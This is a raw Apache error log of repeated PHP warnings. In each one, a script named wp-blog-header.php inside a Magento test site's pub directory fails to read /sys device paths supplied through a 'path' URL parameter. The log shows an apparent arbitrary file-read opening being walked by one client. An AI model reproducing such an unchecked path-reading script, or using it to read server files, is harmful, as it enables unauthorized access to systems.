[Thu Mar 26 14:59:35.479420 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:dc
[Thu Mar 26 14:59:35.956761 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/drivers/ac
[Thu Mar 26 14:59:45.115849 2026] [php:warn] [pid 3236333] [client 74.7.241.26:59948] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/drivers/ac
[Thu Mar 26 14:59:47.221075 2026] [php:warn] [pid 3236333] [client 74.7.241.26:59948] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:aa
[Thu Mar 26 14:59:49.922841 2026] [php:warn] [pid 3236333] [client 74.7.241.26:59948] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:ca
[Thu Mar 26 14:59:50.978071 2026] [php:warn] [pid 3236333] [client 74.7.241.26:59948] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:ac
[Thu Mar 26 14:59:51.505435 2026] [php:warn] [pid 3236333] [client 74.7.241.26:59948] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:ee
[Thu Mar 26 15:00:00.429763 2026] [php:warn] [pid 3236333] [client 74.7.241.26:59948] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:da
[Thu Mar 26 15:00:02.551337 2026] [php:warn] [pid 3236333] [client 74.7.241.26:59948] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/drivers/ec
[Thu Mar 26 15:00:04.268993 2026] [php:warn] [pid 3236333] [client 74.7.241.26:59948] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:ac
[Thu Mar 26 15:00:06.432555 2026] [php:warn] [pid 3236333] [client 74.7.241.26:59948] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:ce
[Thu Mar 26 15:00:08.039437 2026] [php:warn] [pid 3236333] [client 74.7.241.26:59948] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem
[Thu Mar 26 15:00:12.822840 2026] [php:warn] [pid 3236333] [client 74.7.241.26:59948] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/drivers/ec
[Thu Mar 26 15:00:13.880560 2026] [php:warn] [pid 3236333] [client 74.7.241.26:59948] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/drivers/ec
[Thu Mar 26 15:00:15.481575 2026] [php:warn] [pid 3236333] [client 74.7.241.26:59948] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:ba
[Thu Mar 26 15:00:18.149965 2026] [php:warn] [pid 3236333] [client 74.7.241.26:59948] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/drivers/ec
[Thu Mar 26 15:00:19.702166 2026] [php:warn] [pid 3236333] [client 74.7.241.26:59948] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:fe
[Thu Mar 26 15:00:20.198495 2026] [php:warn] [pid 3236333] [client 74.7.241.26:59948] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/drivers/ac
[Thu Mar 26 15:00:22.397726 2026] [php:warn] [pid 3236333] [client 74.7.241.26:59948] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:ee
[Thu Mar 26 15:00:23.418929 2026] [php:warn] [pid 3236333] [client 74.7.241.26:59948] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:be
[Thu Mar 26 15:00:23.952224 2026] [php:warn] [pid 3236333] [client 74.7.241.26:59948] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:ae
[Thu Mar 26 15:00:29.571628 2026] [php:warn] [pid 3236333] [client 74.7.241.26:59948] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:ac
[Thu Mar 26 15:00:35.382532 2026] [php:warn] [pid 3236333] [client 74.7.241.26:59948] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:bc
[Thu Mar 26 15:00:40.164448 2026] [php:warn] [pid 3236333] [client 74.7.241.26:59948] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:dc
[Thu Mar 26 15:00:43.518498 2026] [php:warn] [pid 3230778] [client 74.7.241.26:41942] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:ed/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:ed/device:ee
[Thu Mar 26 15:00:45.627421 2026] [php:warn] [pid 3230778] [client 74.7.241.26:41942] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/drivers/ec
[Thu Mar 26 15:00:46.673376 2026] [php:warn] [pid 3230778] [client 74.7.241.26:41942] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:fa
[Thu Mar 26 15:00:47.863447 2026] [php:warn] [pid 3230778] [client 74.7.241.26:41942] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/drivers/ac
[Thu Mar 26 15:00:48.881045 2026] [php:warn] [pid 3230778] [client 74.7.241.26:41942] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/drivers/ac
[Thu Mar 26 15:00:49.918058 2026] [php:warn] [pid 3230778] [client 74.7.241.26:41942] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:ee
[Thu Mar 26 15:00:51.559476 2026] [php:warn] [pid 3230778] [client 74.7.241.26:41942] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:fe
[Thu Mar 26 15:00:53.149001 2026] [php:warn] [pid 3230778] [client 74.7.241.26:41942] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee
[Thu Mar 26 15:01:02.934788 2026] [php:warn] [pid 3230778] [client 74.7.241.26:41942] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:ba
[Thu Mar 26 15:01:06.076432 2026] [php:warn] [pid 3230778] [client 74.7.241.26:41942] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:ac
[Thu Mar 26 15:01:06.639521 2026] [php:warn] [pid 3230778] [client 74.7.241.26:41942] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:bc
[Thu Mar 26 15:01:13.181593 2026] [php:warn] [pid 3230778] [client 74.7.241.26:41942] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/drivers/ec
[Thu Mar 26 15:01:15.917622 2026] [php:warn] [pid 3230778] [client 74.7.241.26:41942] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:ae
[Thu Mar 26 15:01:18.540149 2026] [php:warn] [pid 3230778] [client 74.7.241.26:41942] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem
[Thu Mar 26 15:01:19.089425 2026] [php:warn] [pid 3230778] [client 74.7.241.26:41942] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:fa
[Thu Mar 26 15:01:20.776472 2026] [php:warn] [pid 3230778] [client 74.7.241.26:41942] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:ae
[Thu Mar 26 15:01:21.719823 2026] [php:warn] [pid 3230778] [client 74.7.241.26:41942] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/drivers/ec
[Thu Mar 26 15:01:25.971601 2026] [php:warn] [pid 3230778] [client 74.7.241.26:41942] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:fa
[Thu Mar 26 15:01:26.540432 2026] [php:warn] [pid 3230778] [client 74.7.241.26:41942] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem
[Thu Mar 26 15:01:27.549058 2026] [php:warn] [pid 3230778] [client 74.7.241.26:41942] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:ee
